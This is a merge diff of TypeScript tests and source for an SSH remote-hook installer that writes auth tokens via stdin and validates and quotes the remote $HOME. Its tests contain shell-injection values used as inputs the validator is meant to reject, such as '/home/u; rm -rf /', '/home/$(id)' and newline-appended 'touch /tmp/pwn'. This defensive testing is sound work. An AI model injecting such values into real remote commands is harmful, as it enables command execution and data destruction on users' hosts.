r.args[r.args.length - 1])+ .filter((l) => l.includes('opencode/AGENTS.md'))+ expect(lines.length).toBeGreaterThan(0)+ for (const line of lines) {+ // The untrusted half is bound to a single-quoted shell variable; it never appears raw+ // inside the double-quoted expansion, where `$`/backticks would still be live.+ expect(line).toContain(`NT_H='${HOSTILE}'`)+ expect(line).toContain('"${XDG_CONFIG_HOME:-$NT_H/.config}/opencode/AGENTS.md"')+ expect(line).not.toContain(`{XDG_CONFIG_HOME:-${HOSTILE}`)+ }+ })+ }+ })++ describe('RemoteHooks.ensureFullscreenTui — the fourth $(dirname …) site', () => {+ it('quotes the substitution, so a home with a space gets ONE mkdir argument', async () => {+ // Unquoted, `$(dirname '/Users/Enes Kirca/.claude/settings.json')` word-splits into two mkdir+ // args (measured ARGC=2): junk directories, then the quoted `cat >` fails and the catch+ // swallows it — fullscreen-TUI silently never written for any macOS user with a spaced home.+ const { rh, conn: c, runs } = harness({ responses: { 'settings.json': '{}' } })+ await rh.ensureFullscreenTui(c, '/s.sock', '/Users/Enes Kirca')+ const write = runs.map((r) => r.args[r.args.length - 1]).find((l) => l.includes('mkdir -p'))+ expect(write).toBeTruthy()+ expect(write).toContain(`mkdir -p "$(dirname '/Users/Enes Kirca/.claude/settings.json')"`)+ const argc = execFileSync(+ '/bin/sh',+ ['-c', `set -- "$(dirname '/Users/Enes Kirca/.claude/settings.json')"; echo "ARGC=$#|$1"`],+ { encoding: 'utf8' }+ ).trim()+ expect(argc).toBe('ARGC=1|/Users/Enes Kirca/.claude')+ })+ })+describe('RemoteHooks.setup — grok', () => {// The host's $GROK_HOME is deliberately a path the `$HOME/.grok` fallback could NEVER produce.// With the two byte-identical (`$HOME: /home/dev` + `GROK_HOME: /home/dev/.grok`) the whole@@@ -485,245 -578,3 +601,184 @@@ describe('RemoteHooks.installContextLinawait expect(new RemoteHooks({ run }).installContextLink(conn, '/s.sock', '/home/u')).resolves.toBeUndefined()})})++/**+ * The per-node token files ON THE HOST. Until this existed, `control-master.ts` advertised+ * `$HOME/.nodeterm/node-tokens` in the endpoint file and NOTHING ever wrote it, so every remote+ * node was permanently `legacy`.+ */+describe('RemoteHooks.writeNodeTokens', () => {+ /** A stand-in for `nodeAuthToken(secret, id)` — the shape matters (kid.mac), not the bytes. */+ const mint = (id: string): string => `kid12345.mac-of-${id}`++ function tokenHarness(opts: { code?: number; throws?: boolean } = {}) {+ const calls: { args: string[]; stdin?: string; cmd: string }[] = []+ const run = vi.fn(async (args: string[], stdin?: string) => {+ const cmd = args.join(' ')+ calls.push({ args, stdin, cmd })+ if (opts.throws) throw new Error('ssh died')+ return { code: opts.code ?? 0, stdout: '' }+ })+ return { rh: new RemoteHooks({ run }), calls, run }+ }++ it('writes every token through STDIN — a credential never rides an ssh command line', async () => {+ const { rh, calls } = tokenHarness()+ await rh.writeNodeTokens(conn, '/s.sock', '/home/u', ['node-1', 'node-2'], mint)+ // THE INVARIANT: the host's process table is readable by its other users, so not one arg of+ // not one child ssh may contain a token — not the write, not the mkdir, not anything.+ for (const c of calls)+ for (const a of c.args) {+ expect(a).not.toContain('mac-of-node-1')+ expect(a).not.toContain('mac-of-node-2')+ }+ const writes = calls.filter((c) => c.cmd.includes('cat >'))+ expect(writes).toHaveLength(2)+ // tmp + rename, the local writer's shape: `cat >` truncates, so writing straight at the file+ // leaves an EMPTY token behind when the host is out of quota or disk.+ expect(writes[0].cmd).toContain("cat > '/home/u/.nodeterm/node-tokens/.node-1.tmp'")+ expect(writes[0].cmd).toContain("mv -f '/home/u/.nodeterm/node-tokens/.node-1.tmp' '/home/u/.nodeterm/node-tokens/node-1'")+ // ...and the token is on stdin, newline-terminated (the client reads it with `head -n 1`).+ expect(writes[0].stdin).toBe(`${mint('node-1')}\n`)+ expect(writes.at(-1)?.stdin).toBe(`${mint('node-2')}\n`)+ })++ it('creates the dir and each file under umask 077 (0700 dir, 0600 files)', async () => {+ const { rh, calls } = tokenHarness()+ await rh.writeNodeTokens(conn, '/s.sock', '/home/u', ['node-1'], mint)+ const mkdir = calls.find((c) => c.cmd.includes('mkdir -p'))+ expect(mkdir?.cmd).toContain('umask 077')+ expect(mkdir?.cmd).toContain("'/home/u/.nodeterm/node-tokens'")+ for (const w of calls.filter((c) => c.cmd.includes('cat >'))) expect(w.cmd).toContain('umask 077')+ })++ it('fails open when the host refuses (exit 1) — the connect is never at risk', async () => {+ const { rh, calls } = tokenHarness({ code: 1 })+ await expect(+ rh.writeNodeTokens(conn, '/s.sock', '/home/u', ['node-1'], mint)+ ).resolves.toBeUndefined()+ // A dir we could not create is not a dir we write tokens into.+ expect(calls.some((c) => c.cmd.includes('cat >'))).toBe(false)+ })++ it('fails open when the runner throws', async () => {+ const { rh } = tokenHarness({ throws: true })+ await expect(+ rh.writeNodeTokens(conn, '/s.sock', '/home/u', ['node-1'], mint)+ ).resolves.toBeUndefined()+ })++ it('fails open per node: one unwritable token does not cost the others theirs', async () => {+ const calls: string[] = []+ const run = vi.fn(async (args: string[]) => {+ const cmd = args.join(' ')+ calls.push(cmd)+ if (cmd.includes('node-1')) throw new Error('EACCES')+ return { code: 0, stdout: '' }+ })+ await new RemoteHooks({ run }).writeNodeTokens(conn, '/s.sock', '/home/u', ['node-1', 'node-2'], mint)+ expect(calls.some((c) => c.includes("node-tokens/node-2'"))).toBe(true)+ })++ it('an unsafe node id reaches no path and no command AT ALL', async () => {+ // A hostile project.json supplies these; `..` under the token dir resolves to its PARENT.+ const { rh, calls } = tokenHarness()+ await rh.writeNodeTokens(conn, '/s.sock', '/home/u', ['../x', '..', '.', 'a b', ''], mint)+ expect(calls).toHaveLength(0)+ })++ it('still serves the safe ids when a hostile one rides along', async () => {+ const { rh, calls } = tokenHarness()+ await rh.writeNodeTokens(conn, '/s.sock', '/home/u', ['../x', 'node-1'], mint)+ const writes = calls.filter((c) => c.cmd.includes('cat >'))+ expect(writes).toHaveLength(1)+ expect(writes[0].cmd).toContain("node-tokens/node-1'")+ expect(calls.every((c) => !c.cmd.includes('../x'))).toBe(true)+ })++ it('refuses a host $HOME that is not a plain path — no interpolation, fail open', async () => {+ // `printf %s "$HOME"` is the host's answer, i.e. DATA. A newline in it is a command separator+ // in every `mkdir -p ${remoteDir}` this file builds.+ const { rh, calls } = tokenHarness()+ await rh.writeNodeTokens(conn, '/s.sock', '/home/u\ntouch /tmp/pwn', ['node-1'], mint)+ expect(calls).toHaveLength(0)+ await rh.writeNodeTokens(conn, '/s.sock', '/home/$(id)', ['node-1'], mint)+ expect(calls).toHaveLength(0)+ await rh.writeNodeTokens(conn, '/s.sock', '', ['node-1'], mint)+ expect(calls).toHaveLength(0)+ })++ /**+ * INVARIANT 7 — a sweep releases the latch. Every OTHER path that takes a token away calls+ * `hookServer.forgetProvenNode` (`sweepToken` in node-token-service); this one did not, and the+ * latch is instance-global and keyed by node id, so a remote node whose write did not land was+ * refused permanently at the desktop — told to restart to pick up an identity that is not on the+ * host to pick up.+ *+ * The failure is a `code`, not a throw: the runner RESOLVES on a non-zero exit, which is why+ * reading only the `catch` left this invisible.+ */+ describe('a write that does not land releases the latch', () => {+ it('un-proves the node when the host exits non-zero', async () => {+ const forget = vi.spyOn(hookServer, 'forgetProvenNode')+ const run = vi.fn(async (args: string[]) => ({+ code: args.join(' ').includes('cat >') ? 1 : 0,+ stdout: ''+ }))+ await new RemoteHooks({ run }).writeNodeTokens(conn, '/s.sock', '/home/u', ['node-1'], mint)+ expect(forget).toHaveBeenCalledWith('node-1')+ forget.mockRestore()+ })++ it('un-proves the node when the runner throws', async () => {+ const forget = vi.spyOn(hookServer, 'forgetProvenNode')+ const run = vi.fn(async (args: string[]) => {+ if (args.join(' ').includes('cat >')) throw new Error('EACCES')+ return { code: 0, stdout: '' }+ })+ await new RemoteHooks({ run }).writeNodeTokens(conn, '/s.sock', '/home/u', ['node-1'], mint)+ expect(forget).toHaveBeenCalledWith('node-1')+ forget.mockRestore()+ })++ it('leaves a node whose write DID land alone — the latch is what protects it', async () => {+ const forget = vi.spyOn(hookServer, 'forgetProvenNode')+ const { rh } = tokenHarness()+ await rh.writeNodeTokens(conn, '/s.sock', '/home/u', ['node-1'], mint)+ expect(forget).not.toHaveBeenCalled()+ forget.mockRestore()+ })+ })++ it('sweeps a token the minter REFUSES (case-fold collision) instead of leaving it on the host', async () => {+ // The refusal is the local sweep's remote twin: a file an earlier connect wrote for a+ // colliding id is exactly the token its twin would read.+ const { rh, calls } = tokenHarness()+ const refusing = (id: string): string => (id === 'Node-1' ? '' : mint(id))+ await rh.writeNodeTokens(conn, '/s.sock', '/home/u', ['Node-1', 'node-2'], refusing)+ expect(calls.some((c) => c.cmd.includes("rm -f '/home/u/.nodeterm/node-tokens/Node-1'"))).toBe(true)+ expect(calls.some((c) => c.cmd.includes("cat > '/home/u/.nodeterm/node-tokens/.Node-1.tmp'"))).toBe(false)+ expect(calls.some((c) => c.cmd.includes("cat > '/home/u/.nodeterm/node-tokens/.node-2.tmp'"))).toBe(true)+ })+})++describe('RemoteHooks.setup — the host $HOME is data, not truth', () => {+ it('refuses a $HOME carrying shell syntax and installs nothing', async () => {+ const { rh, calls } = harness({ responses: { 'printf %s "$HOME"': '/home/u\ntouch /tmp/pwn' } })+ const res = await rh.setup('p1', conn, '/s.sock', { port: 51234, token: 'tok', version: '1' })+ expect(res).toBeNull()+ // Only the $HOME probe itself ran — nothing interpolated the answer.+ expect(calls).toHaveLength(1)+ })++ // The counterpart to the refusal above, and the reason this predicate was rewritten: a home+ // directory named in a non-ASCII script is a NORMAL home, and the old allowlist turned it into a+ // total, silent loss of every remote hook for that user.+ it('installs hooks for a host whose $HOME is not spelled in ASCII', async () => {+ const { rh, calls } = harness({ responses: { 'printf %s "$HOME"': '/home/gökhan' } })+ const res = await rh.setup('p1', conn, '/s.sock', { port: 51234, token: 'tok', version: '1' })+ expect(res?.endpointPath).toBe('/home/gökhan/.nodeterm/hook-endpoint-p1.env')+ const joined = calls.map((c) => c.args.join(' '))- expect(joined.some((j) => j.includes('cat > /home/gökhan/.claude/settings.json'))).toBe(true)- })- })-- describe('isSafeRemoteHome', () => {- // Every one of these is somebody's actual home directory. A predicate that rejects any of them- // costs that user every status badge, the context meter and every subagent card, silently.- const REAL_HOMES = [- '/home/user',- '/Users/First Last', // macOS full-name accounts are ordinary- '/home/josé',- '/home/müller',- '/home/gökhan',- '/Users/山田',- '/home/пользователь',- '/home/user.name',- '/home/user-name',- '/home/user_name',- '/var/services/homes/user', // Synology DSM- '/data/data/com.termux/files/home', // Termux- `/home/${'a'.repeat(4000)}`- ]- it.each(REAL_HOMES)('accepts %s', (home) => {- expect(isSafeRemoteHome(home)).toBe(true)- })-- // `$HOME` is interpolated into remote command lines, several still unquoted, so each of these- // would be live shell on a host we are logged into as the user.- const ATTACKS: [string, string][] = [- ['embedded newline', '/home/u\ntouch /tmp/pwn'],- ['carriage return', '/home/u\rtouch /tmp/pwn'],- ['NUL', '/home/u\u0000/x'],- ['tab (IFS)', '/home/u\tx'],- ['line separator', '/home/u\u2028x'],- ['command chain', '/home/u; rm -rf /'],- ['command substitution', '/home/$(id)'],- ['backtick substitution', '/home/`id`'],- ['single quote', "/home/u'; id; :'"],- ['double quote', '/home/u"x'],- ['backslash', '/home/u\\x'],- ['variable expansion', '/home/$USER'],- ['pipe', '/home/u | id'],- ['background', '/home/u & id'],- ['redirection', '/home/u > /etc/passwd'],- ['subshell', '/home/(u)'],- ['brace expansion', '/home/{a,b}'],- ['glob', '/home/*'],- ['relative traversal', '../..'],- ['relative', 'home/user'],- ['tilde', '~/x'],- ['empty', ''],- ['leading space', ' /home/u'],- ['trailing space', '/home/u '],- ['over the ceiling', `/home/${'a'.repeat(5000)}`]- ]- it.each(ATTACKS)('rejects %s', (_label, home) => {- expect(isSafeRemoteHome(home)).toBe(false)- })-- it('rejects a non-string without throwing', () => {- expect(isSafeRemoteHome(undefined as unknown as string)).toBe(false)- expect(isSafeRemoteHome(null as unknown as string)).toBe(false)++ expect(joined.some((j) => j.includes(`cat > '/home/gökhan/.claude/settings.json'`))).toBe(true)+ })+})diff --cc src/main/remote-ssh/remote-hooks.tsindex c99ca43db,34ceb4016..faef0cafc--- a/src/main/remote-ssh/remote-hooks.ts+++ b/src/main/remote-ssh/remote-hooks.ts@@@ -8,9 -8,7 +8,9 @@@import { childArgs, hookForwardArgs, hookForwardCancelArgs, remoteEndpointFileContents } from '../../core/remote-ssh/control-master'import { CLAUDE_HOOK_EVENTS, GEMINI_HOOK_EVENTS, GROK_HOOK_EVENTS } from '@shared/agents/hook-events'import { GROK_HOOK_FILE, isSafeRemoteGrokHome } from '../../core/agents/grok-paths'- import { isSafeNodeId } from '../../core/agents/node-auth-token'-import { isSafeRemoteHome } from '../../core/remote-safety'++import { isSafeNodeId, isSafeRemoteHome } from '../../core/remote-safety'+import { hookServer } from '../../core/agents/hook-server'+import { curlHeaderConfigLine } from '../../core/agents/hook-curl-config-sh'import { buildManagedScript } from '../../core/agents/hooks/managed-script'/**@@@ -164,19 -116,14 +118,25 @@@ export class RemoteHookstry {// 0. resolve the remote $HOME once → build all remote paths absolute (no unexpanded ~).const { code, stdout } = await this.r.run(childArgs(conn, controlPath, 'printf %s "$HOME"'))+ // Trim at the READ site (`printf %s` emits no newline, but a login-shell banner or a shell+ // wrapper can add one), then VALIDATE: every path below is spliced into a remote SHELL LINE,+ // so a `$HOME` carrying a newline would append a second command to it. The host's answer is+ // data, not truth. Fail-open in the direction this whole method already takes — an unusable+ // answer means no hooks, never a half-built remote path. (Layer two is the quoting below;+ // both are needed: the validator bounds what can arrive, the quoting bounds what it can do.)const home = stdout.trim()- if (code !== 0 || !isSafeRemoteHome(home)) return null // fail-open: nothing else would work+ if (code !== 0 || !home) return null // fail-open: nothing else would work- // The host's answer is interpolated into every remote path below, several of them still- // unquoted — so a `$HOME` that is not a plain path is refused OUTRIGHT rather than escaped- // case by case. LOUD, because unlike the rest of this file's fail-open steps the user loses- // hooks entirely and there would otherwise be nothing anywhere saying why.++ // The host's answer is interpolated into every remote path below — all of them quoted now,++ // but a `$HOME` that is not a plain path is still refused OUTRIGHT rather than escaped case++ // by case. LOUD, because unlike the rest of this file's fail-open steps the user loses hooks++ // entirely and there would otherwise be nothing anywhere saying why.+ if (!isSafeRemoteHome(home)) {+ console.warn(+ '[remote-hooks] the host reported a $HOME that is not a plain path — refusing to build ' ++ 'remote commands from it; this host runs without status hooks'+ )+ return null+ }const remoteDir = `${home}/.nodeterm`const sock = `${remoteDir}/hook-${projectId}.sock`// PER-PROJECT endpoint file. The sock is already per-project, but the endpoint file used to@@@ -216,8 -165,8 +178,8 @@@// 2. remote endpoint file (0600 via umask) — written only after the tunnel proved live,// so sessions are never pointed at a socket that answers nothing.await this.r.run(- childArgs(conn, controlPath, `umask 077; cat > ${endpoint}`),+ childArgs(conn, controlPath, `umask 077; cat > ${posixQuote(endpoint)}`),- remoteEndpointFileContents(sock, hook.token, hook.version)+ remoteEndpointFileContents(sock, hook.token, hook.version, `${remoteDir}/node-tokens`))// 3. install the managed hook for each JSON agent (script + merged config).for (const t of AGENT_TARGETS) {